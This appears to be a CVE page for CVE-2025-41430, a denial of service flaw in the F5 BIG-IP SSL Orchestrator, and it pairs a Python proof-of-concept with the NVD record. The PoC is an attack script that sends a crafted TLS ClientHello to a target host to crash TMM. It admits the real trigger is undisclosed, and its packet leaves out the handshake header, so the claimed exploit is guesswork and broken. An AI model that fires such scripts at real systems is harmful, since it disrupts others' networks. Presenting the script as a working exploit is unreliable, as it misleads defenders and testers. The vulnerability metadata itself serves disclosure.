CVE-2025-41430

# CVE-2025-41430 PoC - F5 BIG-IP SSL Orchestrator TMM DoS # Note: The specific triggering traffic pattern is undisclosed by F5. # This is a conceptual PoC demonstrating the attack approach. import socket import ssl import struct import random def craft_malicious_ssl_traffic(target_host, target_port=443): """ Send crafted SSL/TLS traffic to BIG-IP SSL Orchestrator to trigger TMM termination (CVE-2025-41430). """ try: # Create raw socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Craft a malformed TLS ClientHello that may trigger the vulnerability # when processed by SSL Orchestrator's inspection engine tls_version = b'\x03\x03' # TLS 1.2 random_bytes = bytes(random.getrandbits(8) for _ in range(32)) session_id_len = b'\x00' # Build ClientHello with unusual cipher suites and extensions cipher_suites = struct.pack('>H', 0x0000) # NULL cipher cipher_suites_len = struct.pack('>H', len(cipher_suites)) # Compress methods compression = b'\x01\x00' # null compression # Extensions with potentially problematic values extensions = b'\x00\x0a\x00\x08\x00\x06\x00\x1d\x00\x17\x00\x18' extensions_len = struct.pack('>H', len(extensions)) # Assemble ClientHello client_hello_body = ( tls_version + random_bytes + session_id_len + cipher_suites_len + cipher_suites + compression + extensions_len + extensions ) # TLS record header content_type = b'\x16' # Handshake record_version = b'\x03\x01' record_length = struct.pack('>H', len(client_hello_body)) tls_record = ( content_type + record_version + record_length + client_hello_body ) sock.send(tls_record) sock.close() print(f"[*] Malicious TLS traffic sent to {target_host}:{target_port}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with target BIG-IP IP craft_malicious_ssl_traffic(target)

{"cve": {"id": "CVE-2025-41430", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:47.253", "lastModified": "2025-10-21T19:49:43.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When BIG-IP SSL Orchestrator is enabled, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate. \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_ssl_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndIncluding": "15.1.9", "matchCriteriaId": "16EBA202-7AC4-4B7F-89C7-7C805F18B0FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_ssl_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.4", "matchCriteriaId": "1935A1CF-50B2-4572-AA06-3504DB25B954"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_ssl_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "581B1484-C457-4C11-B43A-DCF49EBC07DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_ssl_orchestrator:17.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "29BF7E7D-7E43-4937-9F68-3F9448590D72"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000150667", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}